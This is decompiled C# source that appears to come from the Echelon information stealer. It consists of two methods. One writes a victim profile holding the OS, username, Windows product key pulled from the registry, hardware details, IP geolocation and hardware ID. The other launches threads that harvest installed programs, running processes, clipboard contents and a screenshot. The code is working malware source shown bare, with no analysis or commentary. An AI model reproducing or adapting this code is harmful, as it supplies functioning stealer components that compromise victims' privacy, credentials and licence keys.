// Token: 0x0600008F RID: 143 RVA: 0x0001B844 File Offset: 0x00019A44 public static void GetSystem(string Echelon_Dir) { ComputerInfo computerInfo = new ComputerInfo(); Size size = Screen.PrimaryScreen.Bounds.Size; try { using (StreamWriter streamWriter = new StreamWriter(Systemsinfo.information, false, Encoding.Default)) { TextWriter textWriter = streamWriter; string[] array = new string[32]; array[0] = "==================================================\n Operating system: "; int num = 1; OperatingSystem osversion = Environment.OSVersion; array[num] = ((osversion != null) ? osversion.ToString() : null); array[2] = " | "; array[3] = computerInfo.OSFullName; array[4] = "\n PC user: "******"/"; array[7] = Environment.UserName; array[8] = "\n WinKey: "; array[9] = WinKey.GetWindowsKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "DigitalProductId"); array[10] = "\n==================================================\n Screen resolution: "; int num2 = 11; Size size2 = size; array[num2] = size2.ToString(); array[12] = "\n Current time Utc: "; array[13] = DateTime.UtcNow.ToString(); array[14] = "\n Current time: "; array[15] = DateTime.Now.ToString(); array[16] = "\n==================================================\n CPU: "; array[17] = Systemsinfo.GetProcessorName(); array[18] = "\n RAM: "; array[19] = Systemsinfo.GetPhysicalMemory(); array[20] = "\n GPU: "; array[21] = Systemsinfo.GetGpuName(); array[22] = "\n ==================================================\n IP Geolocation: "; array[23] = Echelon.Global.Help.IP(); array[24] = " "; array[25] = Echelon.Global.Help.Country(); array[26] = "\n Log Date: "; array[27] = Echelon.Global.Help.date; array[28] = "\n Version build: "; array[29] = JsonValue.buildversion; array[30] = "\n HWID: "; array[31] = Echelon.Global.Help.HWID; textWriter.WriteLine(string.Concat(array)); streamWriter.Close(); } } catch { } }
public static void GetSystemsData(string collectionDir) { try { Task[] t01 = new Task[] { new Task(delegate() { Systemsinfo.GetSystem(collectionDir); }) }; Task[] t02 = new Task[] { new Task(delegate() { Systemsinfo.GetProg(collectionDir); }) }; Task[] t03 = new Task[] { new Task(delegate() { Systemsinfo.GetProc(collectionDir); }) }; Task[] t04 = new Task[] { new Task(delegate() { BuffBoard.GetClipboard(collectionDir); }) }; Task[] t05 = new Task[] { new Task(delegate() { Screenshot.GetScreenShot(collectionDir); }) }; new Thread(delegate() { Task[] t = t01; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = t02; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = t03; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = t04; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = t05; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); Task.WaitAll(t01); Task.WaitAll(t02); Task.WaitAll(t03); Task.WaitAll(t04); Task.WaitAll(t05); } catch { } }